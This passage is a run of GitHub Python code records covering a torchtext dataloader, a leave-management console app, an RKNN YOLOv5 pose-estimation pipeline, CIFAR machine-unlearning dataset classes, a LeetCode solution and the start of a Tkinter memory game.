path = [path]\n\n        if not isinstance(fields[0], (tuple, list)):\n            fields = [\n                (\"author\", fields[0]),\n                (\"autemb\", fields[1]),\n                (\"papemb\", fields[2]),\n                (\"features\", fields[3]),\n            ]\n\n        samples = {}\n        for annotation_file in path:\n            tmp = load_dataset_file(annotation_file)\n            for aut_id in tmp:\n                s = tmp[aut_id]\n                samples[aut_id] = {\n                    \"name\": aut_id,\n                    \"autemb\": s[\"author_embedding\"],\n                    \"papemb\": s[\"papers_embedding\"],\n                    \"features\": s[\"features\"],\n                }\n\n        examples = []\n        for s in samples:\n            sample = samples[s]\n            examples.append(\n                data.Example.fromlist(\n                    [\n                        sample[\"name\"],\n                        # This is for numerical stability\n                        sample[\"autemb\"] + 1e-8,\n                        sample[\"papemb\"] + 1e-8,\n                        sample[\"features\"] + 1e-8,\n                    ],\n                    fields,\n                )\n            )\n        super().__init__(examples, fields, **kwargs)\n\n\ndef load_data(data_cfg, training=True):\n    data_path = data_cfg.model_dir + data_cfg.data_path\n    train_paths = os.path.join(data_path, data_cfg.splitpaths[0])\n    dev_paths = os.path.join(data_path, data_cfg.splitpaths[1])\n    test_path = os.path.join(data_path, data_cfg.splitpaths[2])\n    pad_feature_size = data_cfg.paper_dim\n\n    def stack_features(features, something):\n        return torch.stack([torch.stack(ft, dim=0) for ft in features], dim=0)\n\n    author_name_field = data.RawField()\n    author_name_field.is_target = False\n\n    author_embedding_field = data.Field(\n        use_vocab=False,\n        init_token=None,\n        dtype=torch.float32,\n        # preprocessing=tokenize_features,\n        tokenize=lambda features: features,\n        batch_first=True,\n        include_lengths=False,\n        postprocessing=stack_features\n    )\n\n    papers_embedding_field = data.Field(\n        use_vocab=False,\n        init_token=None,\n        dtype=torch.float32,\n        tokenize=lambda features: features,\n        batch_first=True,\n        include_lengths=True,\n        postprocessing=stack_features,\n        pad_token=torch.zeros((pad_feature_size,)),\n    )\n\n    features_field = data.Field(\n        use_vocab=False,\n        init_token=None,\n        dtype=torch.float32,\n        tokenize=lambda features: features,\n        batch_first=True,\n        include_lengths=False,\n        postprocessing=stack_features\n    )\n\n    label_field = data.Field(\n        use_vocab=False,\n        init_token=None,\n        dtype=torch.float32,\n        tokenize=lambda features: features,\n        batch_first=True,\n        postprocessing=stack_features,\n    )\n    if training:\n        train_data = HIndexDataset(\n            path=train_paths,\n            fields=(author_name_field, author_embedding_field, papers_embedding_field, features_field, label_field)\n        )\n\n        dev_data = HIndexDataset(\n            path=dev_paths,\n            fields=(author_name_field, author_embedding_field, papers_embedding_field, features_field, label_field)\n        )\n        return train_data, dev_data\n    else:\n        test_data = HIndexDatasetTest(\n            path=test_path,\n            fields=(author_name_field, author_embedding_field, papers_embedding_field, features_field)\n        )\n        return test_data\n\n\ndef make_data_iter(\n        dataset: Dataset,\n        batch_size: int,\n        train: bool = False,\n        shuffle: bool = False,\n) -> Iterator:\n    \"\"\"\n    Returns a torchtext iterator for a torchtext dataset.\n    :param dataset: torchtext dataset containing sgn and optionally txt\n    :param batch_size: size of the batches the iterator prepares\n    :param batch_type: measure batch size by sentence count or by token count\n    :param train: whether it's training time, when turned off,\n        bucketing, sorting within batches and shuffling is disabled\n    :param shuffle: whether to shuffle the data before each epoch\n        (no effect if set to True for testing)\n    :return: torchtext iterator\n    \"\"\"\n\n    batch_size_fn = None\n\n    if train:\n        # optionally shuffle and sort during training\n        data_iter = data.BucketIterator(\n            repeat=False,\n            sort=False,\n            dataset=dataset,\n            batch_size=batch_size,\n            batch_size_fn=batch_size_fn,\n            train=True,\n            sort_within_batch=False,\n            shuffle=shuffle,\n        )\n    else:\n        # don't sort/shuffle for validation/inference\n        data_iter = data.BucketIterator(\n            repeat=False,\n            dataset=dataset,\n            batch_size=batch_size,\n            batch_size_fn=batch_size_fn,\n            train=False,\n            sort=False,\n            sort_within_batch=False\n        )\n    return data_iter\n\n\nclass Batch:\n    \"\"\"Object for holding a batch of data with mask during training.\n    Input is a batch from a torch text iterator.\n    \"\"\"\n\n    def __init__(\n            self,\n            torch_batch,\n            author_dim,\n            paper_dim,\n            is_train: bool = True,\n            use_cuda: bool = True,\n    ):\n\n        # Author Information\n        self.author = torch_batch.author\n\n        # Papers\n        self.papemb, self.papemb_length = torch_batch.papemb\n        self.pap_dim = paper_dim\n        self.papemb_mask = (self.papemb != torch.zeros(paper_dim))[..., 0].unsqueeze(1)\n\n        # Author\n        self.autemb = torch_batch.autemb\n        self.aut_dim = author_dim\n        self.autemb_mask = (self.autemb != torch.zeros(author_dim))[..., 0].unsqueeze(1)\n\n        # Features\n        self.features = torch_batch.features\n\n        # Target\n        if is_train:\n            self.target = torch_batch.target\n        else:\n            self.target = None\n\n        # Other\n        self.use_cuda = use_cuda\n        self.num_seqs = self.papemb.size(0)\n\n        if use_cuda:\n            self._make_cuda()\n\n    def _make_cuda(self):\n        \"\"\"\n        Move the batch to GPU\n        :return:\n        \"\"\"\n        self.papemb = self.papemb.cuda()\n        self.papemb_mask = self.papemb_mask.cuda()\n\n        self.autemb = self.autemb.cuda()\n        self.autemb_mask = self.autemb_mask.cuda()\n\n        self.features = self.features.cuda()\n\n        if self.target is not None:\n            self.target = self.target.cuda()\n","repo_name":"omarsou/altegrad_challenge_hindex","sub_path":"src/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":8787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"40995375278","text":"import datetime\nclass ABC_ltd:\n  def __init__(self):\n    self.emp_list= {\"A1234\":[\"ARTHY\",\"CONFIRMED\",\"FEMALE\",12,12,18,180],\n    \"B1234\":[\"BABU\",\"UNCONFIRMED\",\"MALE\",12,12,0,15], \"C1234\":[\"CHITRA\",\"CONFIRMED\",\"FEMALE\",12,12,18,180],\n                    \"D1234\":[\"DIVYA\",\"UNCONFIRMED\",12,12,0,180]}\n    self.leave_req = {}\n\n  def status(self,data):\n    if data in self.leave_req:\n      print(f'''Type of Leave: {self.leave_req[data][1]}\\nFrom date:{self.leave_req[data][3]}\\nTo date:{self.leave_req[data][4]}\\nStatus:{self.leave_req[data][5]}''')\n    else:\n      print(\"Invalid Reference ID\")\n\n  def request_process(self):\n    for i in self.leave_req:\n      if self.leave_req[i][5] == \"pending\":\n        decision = input(f\"Enter approve to approve the leave requested and reject to deny the request for {i}\")\n        if decision == \"approve\":\n          self.leave_req[i][5] = \"approve\"\n          print(f\"The Request ID {i} is Approved\")\n          print(self.leave_req[i])\n\n        elif decision == \"reject\":\n          self.leave_req[i][5] = \"reject\"\n          print(f\"The Request ID {i} is Rejected\")\n          if self.leave_req[i][1] == \"Casual leave\":\n            self.emp_list[self.leave_req[i][0]][3] += self.leave_req[i][2]\n          elif self.leave_req[i][1] == \"Sick leave\":\n            self.emp_list[self.leave_req[i][0]][4] += self.leave_req[i][2]\n          elif self.leave_req[i][1] == \"Privilege leave\":\n            self.emp_list[self.leave_req[i][0]][5] += self.leave_req[i][2]\n          elif self.leave_req[i][1] == \"Maternity leave\" or  self.leave_req[i][1] == \"Paternity leave\":\n            self.emp_list[self.leave_req[i][0]][6] += self.leave_req[i][2]\n        else:\n          print(\"Invalid decision\")\n\n  def leave_bal(self,data):\n    print(f\"\"\"The Summary of leave balances is as follows:\\nCasual Leave :{self.emp_list[data][3]}\\nSick Leave :{self.emp_list[data][4]}\\nPrivilege Leave : {self.emp_list[data][5]}\\nParental Leave : {self.emp_list[data][6]}\"\"\")\n\n  def apply(self,data):\n    if data in self.emp_list:\n\n      sel = int(input(\"\"\"Enter the Leave Type as follows:\n      1 Casual Leave\n      2 Sick Leave\n      3 Privilege Leave\n      4 Maternity Leave\n      5 Paternity Leave\"\"\"))\n\n      start_date = input(\"Enter the start date of leave\")\n      end_date = input(\"Enter the end date of leave\")\n      nofdays = int(input(\"Enter the no of days\"))\n\n      if sel == 1:\n        if nofdays >= 3 :\n          print(\"For a month your eligible only for 2 casual leaves consecutively\")\n        else:\n          if self.emp_list[data][3] >= nofdays:\n            self.sr = \"SRLV202300\"+ str(len(self.leave_req))\n            self.leave_req[self.sr] = list([data,\"Casual leave\",nofdays,start_date,end_date,\"pending\"])\n            print(f\"Request successfully submitted and the reference id is {self.sr}\")\n            self.emp_list[data][3] -= nofdays\n          else:\n            print(\"you donot have sufficient leave balance\")\n\n      elif sel == 2:\n        self.sr = \"SRLV202300\"+ str(len(self.leave_req))\n        self.leave_req[self.sr] = list([data,\"Sick leave\",nofdays,start_date,end_date,\"pending\"])\n        print(f\"Request successfully submitted and the reference id is {self.sr}\")\n        self.emp_list[data][4] -= nofdays\n\n      elif sel == 3:\n        if self.emp_list[data][1] == \"CONFIRMED\":\n          if self.emp_list[data][5] >= nofdays:\n            self.sr = \"SRLV202300\"+ str(len(self.leave_req))\n            self.leave_req[self.sr] = list([data,\"Privilege leave\",nofdays,start_date,end_date,\"pending\"])\n            print(f\"Request successfully submitted and the reference id is {self.sr}\")\n            self.emp_list[data][5] -= nofdays\n          else:\n            print(\"you donot have sufficient leave balance\")\n        else:\n          print(\"You are eligible for privilege leave\")\n\n      elif sel ==4:\n        if self.emp_list[data][2] == \"FEMALE\" and nofdays<=180:\n          self.sr = \"SRLV202300\"+ str(len(self.leave_req))\n          self.leave_req[self.sr] = list([data,\"Maternity leave\",nofdays,start_date,end_date,\"pending\"])\n          print(f\"Request successfully submitted and the reference id is {self.sr}\")\n          self.emp_list[data][6] -= nofdays\n        else:\n          print(\"Eligible criteria for maternity leave is not satisfied\")\n\n      elif sel ==5:\n          if self.emp_list[data][2] == \"MALE\" and nofdays<=15:\n            self.sr = \"SRLV202300\"+ str(len(self.leave_req))\n            self.leave_req[self.sr] = list([data,\"Paternity leave\",nofdays,start_date,end_date,\"pending\"])\n            print(f\"Request successfully submitted and the reference id is {self.sr}\")\n            self.emp_list[data][6] -= nofdays\n          else:\n              print(\"Eligible criteria for paternity leave is not satisfied\")\n      else:\n          print(\"Invalid selection\")\n\na = ABC_ltd()\n\n\nwhile True:\n  print(\"\"\"Welcome to the HR Module of ABC_ltd\n        1 Apply for a Leave\n        2 Status of Request\n        3 Request processing\n        4 Outstanding Leave balances\n        5 Exit\"\"\")\n\n  selection = int(input(\"Enter your Choice\"))\n\n  if selection == 1:\n    empid = input(\"Enter your employee id: \")\n    a.apply(empid.upper())\n  elif selection == 2:\n    refid = input(\"Enter your reference id: \")\n    a.status(refid.upper())\n  elif selection == 3:\n    a.request_process()\n  elif selection == 4:\n    empid = input(\"Enter your employee id: \")\n    a.leave_bal(empid.upper())\n  elif selection == 5:\n    break\n  else:\n    print(\"Invalid selection\")\n","repo_name":"priyacoding/Implementation_Leave_management_system_using_python","sub_path":"leave-management.py","file_name":"leave-management.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37884059403","text":"import os\r\nimport urllib\r\nimport traceback\r\nimport time\r\nimport sys\r\nimport numpy as np\r\nimport cv2\r\nfrom rknn.api import RKNN\r\nimport copy\r\nfrom pose_estimator import PoseEstimator\r\nfrom skeleton_render import SkeletonRender\r\n\r\nYOLO_ONNX_MODEL = 'yolov5s.onnx'\r\nMEDIAPIPE_TFLITE_MODEL =  'pose_landmark_full.tflite'\r\nIMG_PATH = os.path.join(os.environ['HOME'], 'pic/5-0-1.png')\r\nYOLO_DATASET = './dataset_yolo.txt'\r\nMEDIAPIPE_DATASET = './dataset_mediapipe.txt'\r\n\r\nQUANTIZE_ON = True\r\n\r\nOBJ_THRESH = 0.25\r\nNMS_THRESH = 0.45\r\nIMG_SIZE = 640\r\nEXTRA_PIXEL = 50\r\n\r\nCLASSES = (\"person\", \"bicycle\", \"car\", \"motorbike \", \"aeroplane \", \"bus \", \"train\", \"truck \", \"boat\", \"traffic light\",\r\n           \"fire hydrant\", \"stop sign \", \"parking meter\", \"bench\", \"bird\", \"cat\", \"dog \", \"horse \", \"sheep\", \"cow\",\r\n           \"elephant\",\r\n           \"bear\", \"zebra \", \"giraffe\", \"backpack\", \"umbrella\", \"handbag\", \"tie\", \"suitcase\", \"frisbee\", \"skis\",\r\n           \"snowboard\", \"sports ball\", \"kite\",\r\n           \"baseball bat\", \"baseball glove\", \"skateboard\", \"surfboard\", \"tennis racket\", \"bottle\", \"wine glass\", \"cup\",\r\n           \"fork\", \"knife \",\r\n           \"spoon\", \"bowl\", \"banana\", \"apple\", \"sandwich\", \"orange\", \"broccoli\", \"carrot\", \"hot dog\", \"pizza \", \"donut\",\r\n           \"cake\", \"chair\", \"sofa\",\r\n           \"pottedplant\", \"bed\", \"diningtable\", \"toilet \", \"tvmonitor\", \"laptop\t\", \"mouse\t\", \"remote \",\r\n           \"keyboard \", \"cell phone\", \"microwave \",\r\n           \"oven \", \"toaster\", \"sink\", \"refrigerator \", \"book\", \"clock\", \"vase\", \"scissors \", \"teddy bear \",\r\n           \"hair drier\", \"toothbrush \")\r\n\r\n\r\ndef padding(img):\r\n    shape = img.shape\r\n    max_side = max(shape[0], shape[1])\r\n\r\n    img2 = cv2.copyMakeBorder(img, int((max_side - shape[0]) / 2), int((max_side - shape[0]) / 2),\r\n                              int((max_side - shape[1]) / 2), int((max_side - shape[1]) / 2), cv2.BORDER_CONSTANT,\r\n                              value=[0, 255, 0])\r\n    return img2\r\n\r\n\r\ndef sigmoid(x):\r\n    return 1 / (1 + np.exp(-x))\r\n\r\n\r\ndef xywh2xyxy(x):\r\n    # Convert [x, y, w, h] to [x1, y1, x2, y2]\r\n    y = np.copy(x)\r\n    y[:, 0] = x[:, 0] - x[:, 2] / 2  # top left x\r\n    y[:, 1] = x[:, 1] - x[:, 3] / 2  # top left y\r\n    y[:, 2] = x[:, 0] + x[:, 2] / 2  # bottom right x\r\n    y[:, 3] = x[:, 1] + x[:, 3] / 2  # bottom right y\r\n    return y\r\n\r\n\r\ndef process(input, mask, anchors):\r\n    anchors = [anchors[i] for i in mask]\r\n    grid_h, grid_w = map(int, input.shape[0:2])\r\n\r\n    box_confidence = sigmoid(input[..., 4])\r\n    box_confidence = np.expand_dims(box_confidence, axis=-1)\r\n\r\n    box_class_probs = sigmoid(input[..., 5:])\r\n\r\n    box_xy = sigmoid(input[..., :2]) * 2 - 0.5\r\n\r\n    col = np.tile(np.arange(0, grid_w), grid_w).reshape(-1, grid_w)\r\n    row = np.tile(np.arange(0, grid_h).reshape(-1, 1), grid_h)\r\n    col = col.reshape(grid_h, grid_w, 1, 1).repeat(3, axis=-2)\r\n    row = row.reshape(grid_h, grid_w, 1, 1).repeat(3, axis=-2)\r\n    grid = np.concatenate((col, row), axis=-1)\r\n    box_xy += grid\r\n    box_xy *= int(IMG_SIZE / grid_h)\r\n\r\n    box_wh = pow(sigmoid(input[..., 2:4]) * 2, 2)\r\n    box_wh = box_wh * anchors\r\n\r\n    box = np.concatenate((box_xy, box_wh), axis=-1)\r\n\r\n    return box, box_confidence, box_class_probs\r\n\r\n\r\ndef filter_boxes(boxes, box_confidences, box_class_probs):\r\n    \"\"\"Filter boxes with box threshold. It's a bit different with origin yolov5 post process!\r\n\r\n    # Arguments\r\n        boxes: ndarray, boxes of objects.\r\n        box_confidences: ndarray, confidences of objects.\r\n        box_class_probs: ndarray, class_probs of objects.\r\n\r\n    # Returns\r\n        boxes: ndarray, filtered boxes.\r\n        classes: ndarray, classes for boxes.\r\n        scores: ndarray, scores for boxes.\r\n    \"\"\"\r\n    boxes = boxes.reshape(-1, 4)\r\n    box_confidences = box_confidences.reshape(-1)\r\n    box_class_probs = box_class_probs.reshape(-1, box_class_probs.shape[-1])\r\n\r\n    _box_pos = np.where(box_confidences >= OBJ_THRESH)\r\n    boxes = boxes[_box_pos]\r\n    box_confidences = box_confidences[_box_pos]\r\n    box_class_probs = box_class_probs[_box_pos]\r\n\r\n    class_max_score = np.max(box_class_probs, axis=-1)\r\n    classes = np.argmax(box_class_probs, axis=-1)\r\n    _class_pos = np.where(class_max_score >= OBJ_THRESH)\r\n\r\n    boxes = boxes[_class_pos]\r\n    classes = classes[_class_pos]\r\n    scores = (class_max_score * box_confidences)[_class_pos]\r\n\r\n    return boxes, classes, scores\r\n\r\n\r\ndef nms_boxes(boxes, scores):\r\n    \"\"\"Suppress non-maximal boxes.\r\n\r\n    # Arguments\r\n        boxes: ndarray, boxes of objects.\r\n        scores: ndarray, scores of objects.\r\n\r\n    # Returns\r\n        keep: ndarray, index of effective boxes.\r\n    \"\"\"\r\n    x = boxes[:, 0]\r\n    y = boxes[:, 1]\r\n    w = boxes[:, 2] - boxes[:, 0]\r\n    h = boxes[:, 3] - boxes[:, 1]\r\n\r\n    areas = w * h\r\n    order = scores.argsort()[::-1]\r\n\r\n    keep = []\r\n    while order.size > 0:\r\n        i = order[0]\r\n        keep.append(i)\r\n\r\n        xx1 = np.maximum(x[i], x[order[1:]])\r\n        yy1 = np.maximum(y[i], y[order[1:]])\r\n        xx2 = np.minimum(x[i] + w[i], x[order[1:]] + w[order[1:]])\r\n        yy2 = np.minimum(y[i] + h[i], y[order[1:]] + h[order[1:]])\r\n\r\n        w1 = np.maximum(0.0, xx2 - xx1 + 0.00001)\r\n        h1 = np.maximum(0.0, yy2 - yy1 + 0.00001)\r\n        inter = w1 * h1\r\n\r\n        ovr = inter / (areas[i] + areas[order[1:]] - inter)\r\n        inds = np.where(ovr <= NMS_THRESH)[0]\r\n        order = order[inds + 1]\r\n    keep = np.array(keep)\r\n    return keep\r\n\r\n\r\ndef yolov5_post_process(input_data):\r\n    masks = [[0, 1, 2], [3, 4, 5], [6, 7, 8]]\r\n    anchors = [[10, 13], [16, 30], [33, 23], [30, 61], [62, 45],\r\n               [59, 119], [116, 90], [156, 198], [373, 326]]\r\n\r\n    boxes, classes, scores = [], [], []\r\n    for input, mask in zip(input_data, masks):\r\n        b, c, s = process(input, mask, anchors)\r\n        b, c, s = filter_boxes(b, c, s)\r\n        boxes.append(b)\r\n        classes.append(c)\r\n        scores.append(s)\r\n\r\n    boxes = np.concatenate(boxes)\r\n    boxes = xywh2xyxy(boxes)\r\n    classes = np.concatenate(classes)\r\n    scores = np.concatenate(scores)\r\n\r\n    nboxes, nclasses, nscores = [], [], []\r\n    for c in set(classes):\r\n        inds = np.where(classes == c)\r\n        b = boxes[inds]\r\n        c = classes[inds]\r\n        s = scores[inds]\r\n\r\n        keep = nms_boxes(b, s)\r\n\r\n        nboxes.append(b[keep])\r\n        nclasses.append(c[keep])\r\n        nscores.append(s[keep])\r\n\r\n    if not nclasses and not nscores:\r\n        return None, None, None\r\n\r\n    boxes = np.concatenate(nboxes)\r\n    classes = np.concatenate(nclasses)\r\n    scores = np.concatenate(nscores)\r\n\r\n    return boxes, classes, scores\r\n\r\n\r\n\r\ndef get_crop_img(img, boxes, scores, classes):\r\n    for box, score, cl in zip(boxes, scores, classes):\r\n        if cl != 0:\r\n            continue\r\n\r\n        top, left, right, bottom = box\r\n        top -= EXTRA_PIXEL\r\n        left -= EXTRA_PIXEL\r\n        right += EXTRA_PIXEL\r\n        bottom += EXTRA_PIXEL\r\n\r\n        print('class: {}, score: {}'.format(CLASSES[cl], score))\r\n        print('box coordinate left,top,right,down: [{}, {}, {}, {}]'.format(top, left, right, bottom))\r\n\r\n        top = int(top)\r\n        left = int(left)\r\n        right = int(right)\r\n        bottom = int(bottom)\r\n        cv2.rectangle(img, (top, left), (right, bottom), (255, 0, 0), 2)\r\n\r\n        return img[left:bottom, top:right]\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    # Create RKNN object\r\n    rknn = RKNN(verbose=True)\r\n    rknn2 = RKNN(verbose=True)\r\n    \r\n    # pre-process config\r\n    print('--> Config model')\r\n    rknn.config(mean_values=[[0, 0, 0]], std_values=[[255, 255, 255]], target_platform='rk3588')\r\n    rknn2.config(mean_values=[0, 0, 0], std_values=[1, 1, 1], target_platform='rk3588')\r\n    print('done')\r\n\r\n    # Load ONNX model\r\n    print('--> Loading model')\r\n    ret = rknn.load_onnx(model=YOLO_ONNX_MODEL)\r\n    ret2 = rknn2.load_tflite(model=MEDIAPIPE_TFLITE_MODEL)\r\n    if ret != 0 or ret2 != 0:\r\n        print('Load model failed!')\r\n        exit(1)\r\n    print('done')\r\n\r\n    # Build model\r\n    print('--> Building model')\r\n    ret = rknn.build(do_quantization=QUANTIZE_ON, dataset=YOLO_DATASET)\r\n    ret2 = rknn2.build(do_quantization=False, dataset=MEDIAPIPE_DATASET)\r\n    if ret != 0 or ret2 != 0:\r\n        print('Build model failed!')\r\n        exit(2)\r\n    print('done')\r\n\r\n    # Init runtime environment\r\n    print('--> Init runtime environment')\r\n    ret = rknn.init_runtime()\r\n    ret2 = rknn2.init_runtime()\r\n    # ret = rknn.init_runtime('rk3566')\r\n    if ret != 0 or ret2 != 0:\r\n        print('Init runtime environment failed!')\r\n        exit(3)\r\n    print('done')\r\n\r\n    # Set inputs\r\n    oriImg = cv2.imread(IMG_PATH)\r\n    # img, ratio, (dw, dh) = letterbox(img, new_shape=(IMG_SIZE, IMG_SIZE))\r\n    oriImg = cv2.cvtColor(oriImg, cv2.COLOR_BGR2RGB)\r\n    paddingImg = padding(oriImg)\r\n    img = cv2.resize(paddingImg, None, fx=IMG_SIZE / paddingImg.shape[0], fy=IMG_SIZE / paddingImg.shape[0])\r\n\r\n    # Inference\r\n    print('--> Running model')\r\n    outputs = rknn.inference(inputs=[img])\r\n\r\n    # post process\r\n    input0_data = outputs[0]\r\n    input1_data = outputs[1]\r\n    input2_data = outputs[2]\r\n\r\n    input0_data = input0_data.reshape([3, -1] + list(input0_data.shape[-2:]))\r\n    input1_data = input1_data.reshape([3, -1] + list(input1_data.shape[-2:]))\r\n    input2_data = input2_data.reshape([3, -1] + list(input2_data.shape[-2:]))\r\n\r\n    input_data = list()\r\n    input_data.append(np.transpose(input0_data, (2, 3, 0, 1)))\r\n    input_data.append(np.transpose(input1_data, (2, 3, 0, 1)))\r\n    input_data.append(np.transpose(input2_data, (2, 3, 0, 1)))\r\n\r\n    boxes, classes, scores = yolov5_post_process(input_data)\r\n\r\n    paddingImg = cv2.cvtColor(paddingImg, cv2.COLOR_RGB2BGR)\r\n    if boxes is not None:\r\n        # draw(paddingImg, boxes * (paddingImg.shape[0] / IMG_SIZE), scores, classes)\r\n        cropImg = get_crop_img(paddingImg, boxes * (paddingImg.shape[0] / IMG_SIZE), scores, classes)\r\n     \r\n    \r\n    # show output\r\n    # cv2.imshow(\"cropImg\", cropImg)\r\n    pose_estimator = PoseEstimator(rknn2)\r\n    points = pose_estimator.process(cropImg)\r\n    sk_render = SkeletonRender()\r\n    render_img = sk_render.render(image=oriImg, points=points, zero_point=(0, 0))\r\n    cv2.namedWindow(\"oriImg\", cv2.WINDOW_NORMAL)\r\n    cv2.imshow('oriImg', oriImg)\r\n    cv2.waitKey(0)\r\n    cv2.destroyAllWindows()\r\n    \r\n\r\n    rknn.release()\r\n    rknn2.release()\r\n","repo_name":"stephenwang0317/long-distance-pose-recognition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10435,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"28805069995","text":"import torch\nimport random\nimport copy\nimport numpy as np\nfrom PIL import Image\nfrom typing import Any, Callable, Optional, Tuple, List\nfrom torchvision.datasets import CIFAR10, CIFAR100\nimport torch.utils.data as data\n\n\nclass UnlearnCIFAR100(CIFAR100):\n    def __init__(self, root: str,\n                 data_set: str = 'train',\n                 transform: Optional[Callable] = None,\n                 target_transform: Optional[Callable] = None,\n                 download: bool = False,\n                 forget_range: Any = None,\n                 ignore_range: Any = None,\n                 data_section: str = 'full',\n                 random_seed: int = 0,\n                 ):\n        \"\"\"\n        Additional Args:\n            data_set (str) ['train', 'test', 'val']: \n            data_section (str) ['full', 'retain', 'forget']: which section of data to use\n        \"\"\"\n        super().__init__(root, data_set=='train', transform, target_transform, download)\n        if data_section not in ['full', 'retain', 'forget']:\n            raise RuntimeError('Invalid data section. The valid data sections are [\"full\", \"retain\", \"forget\"]')\n        if data_set not in ['train', 'test', 'val']:\n            raise RuntimeError('Invalid data section. The valid data sections are [\"train\", \"test\", \"val\"]')\n\n        self.data_set = data_set\n        self.data_section = data_section\n        self.ignore_range = ignore_range\n        self.forget_range = forget_range\n\n        num_classes = len(set(self.targets))\n        random.seed(random_seed)\n        self.targets = np.array(self.targets)\n\n        if self.data_set != 'train':\n            set_idx = []\n            for i in range(num_classes):\n                idx = np.where(self.targets == i)[0].tolist()\n                random.shuffle(idx)\n                set_idx.extend(idx[:len(idx)//2] if self.data_set == 'test' else idx[len(idx)//2:])\n\n            self.data = self.data[set_idx, :, :, :]\n            self.targets = self.targets[set_idx]\n            \n\n        self.retain_idx, self.forget_idx, self.ignore_idx = [], [], []\n        if self.data_section != 'full':\n            for i in range(num_classes):\n                idx = np.where(self.targets == i)[0].tolist()\n                if self.ignore_range is not None and len(self.ignore_range) > i:\n                    self.ignore_idx.extend(idx[self.ignore_range[i][0]:self.ignore_range[i][1]])\n                if self.forget_range is not None and len(self.forget_range) > i:\n                    self.forget_idx.extend(idx[self.forget_range[i][0]:self.forget_range[i][1]])\n\n        self.retain_idx = list(set([i for i in range(len(self.targets))]) - set(self.forget_idx) - set(self.ignore_idx))\n\n        self.full_data = self.data\n        self.full_targets = self.targets\n\n        self.forget_data = self.data[self.forget_idx, :, :, :]\n        self.forget_targets = np.array(self.targets)[self.forget_idx].tolist()\n\n        self.retain_data = self.data[self.retain_idx, :, :, :]\n        self.retain_targets = np.array(self.targets)[self.retain_idx].tolist()\n\n        if self.data_section == 'full':\n            self.selected_data, self.selected_targets = self.full_data, self.full_targets\n        elif self.data_section == 'retain':\n            self.selected_data, self.selected_targets = self.retain_data, self.retain_targets\n        elif self.data_section == 'forget':\n            self.selected_data, self.selected_targets = self.forget_data, self.forget_targets\n\n        print(f'Number of forget samples: {len(self.forget_idx)}')\n        print(f'Number of selected samples: {self.__len__()}')\n\n    def __getitem__(self, index: int) -> Tuple[Any, Any]:\n        \"\"\"\n        Args:\n            index (int): Index\n        Returns:\n            tuple: (image, target, index) where target is index of the target class.\n        \"\"\"\n        img, target = self.selected_data[index], self.selected_targets[index]\n\n        # doing this so that it is consistent with all other datasets\n        # to return a PIL Image\n        img = Image.fromarray(img)\n\n        if self.transform is not None:\n            img = self.transform(img)\n\n        if self.target_transform is not None:\n            target = self.target_transform(target)\n\n        return img, target\n\n    def __len__(self) -> int:\n        return len(self.selected_data)\n\n\nclass UnlearnCIFAR10(UnlearnCIFAR100):\n    base_folder = \"cifar-10-batches-py\"\n    url = \"https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz\"\n    filename = \"cifar-10-python.tar.gz\"\n    tgz_md5 = \"c58f30108f718f92721af3b95e74349a\"\n    train_list = [\n        [\"data_batch_1\", \"c99cafc152244af753f735de768cd75f\"],\n        [\"data_batch_2\", \"d4bba439e000b95fd0a9bffe97cbabec\"],\n        [\"data_batch_3\", \"54ebc095f3ab1f0389bbae665268c751\"],\n        [\"data_batch_4\", \"634d18415352ddfa80567beed471001a\"],\n        [\"data_batch_5\", \"482c414d41f54cd18b22e5b47cb7c3cb\"],\n    ]\n\n    test_list = [\n        [\"test_batch\", \"40351d587109b95175f43aff81a1287e\"],\n    ]\n    meta = {\n        \"filename\": \"batches.meta\",\n        \"key\": \"label_names\",\n        \"md5\": \"5ff9c542aee3614f3951f8cda6e48888\",\n    }","repo_name":"hnanhtuan/projected_gradient_unlearning","sub_path":"datasets/unlearn_cifar.py","file_name":"unlearn_cifar.py","file_ext":"py","file_size_in_byte":5102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73333399822","text":"class Solution:\n    def findTheDistanceValue(self, arr1: List[int], arr2: List[int], d: int) -> int:\n        ans = 0\n        for num1 in arr1:\n            for num2 in arr2:\n                if abs(num1 - num2) <= d:\n                    break\n            else:\n                ans += 1\n        return ans","repo_name":"adnanyaqoobvirk/leetcode","sub_path":"1385-find-the-distance-value-between-two-arrays/1385-find-the-distance-value-between-two-arrays.py","file_name":"1385-find-the-distance-value-between-two-arrays.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74043987343","text":"from tkinter import *\nfrom random import random\nimport time\nfrom tkinter import messagebox\n\n#mainloop sonda unutma \n\npencere = Tk()\n\npencere.title(\"BAHAR\")\n\npencere.geometry(\"550x350+350+50\")\n\nhafiza = []\nglobal bilinen\nbilinen = 0\n\n\n\ndef cevir(a):\n\tif len(hafiza) == 0:\n\t\tfor i in atananlar:\n\t\t\tif a == i[0]: #Butonun adresi\n\t\t\t    ilk_buton = i[2]\n\t\t\t    ilk_buton.config(text=i[1],\n\t\t\t    \tstate=\"disable\")\n\t\t\t    hafiza.append(i) #su anda bır butona tıkladm\n\telse:\n\t    for i in atananlar:\n\t        \tif a == i[0]:\n\t        \t\tikinci_buton=i[2]\n\t        \t\tikinci_buton.config(text=i[1],\n\t        \t\t\tstate = \"disable\")\n\t        \t\tif i[1] == hafiza[0][1]:\n\t        \t\t\tglobal bilinen\n\t        \t\t\tbilinen = bilinen + 1\n\t        \t\t\thafiza.clear()\n\t        \t\t\tif bilinen == 8:\n\t        \t\t\t\tmessagebox.showinfo(\"Hafıza Oyun\",\"Tebrikler Hepsini Bildin :) \")\n\t        \t\telse:\n\t        \t\t    ikinci_buton.after(100,lambda\n\t        \t\tx = i[2]:cevirici(x))\t\ndef cevirici(ikinci_buton):\n\tbirinci_buton = hafiza[0][2]\n\tbirinci_buton.config(text=\"Eşimi 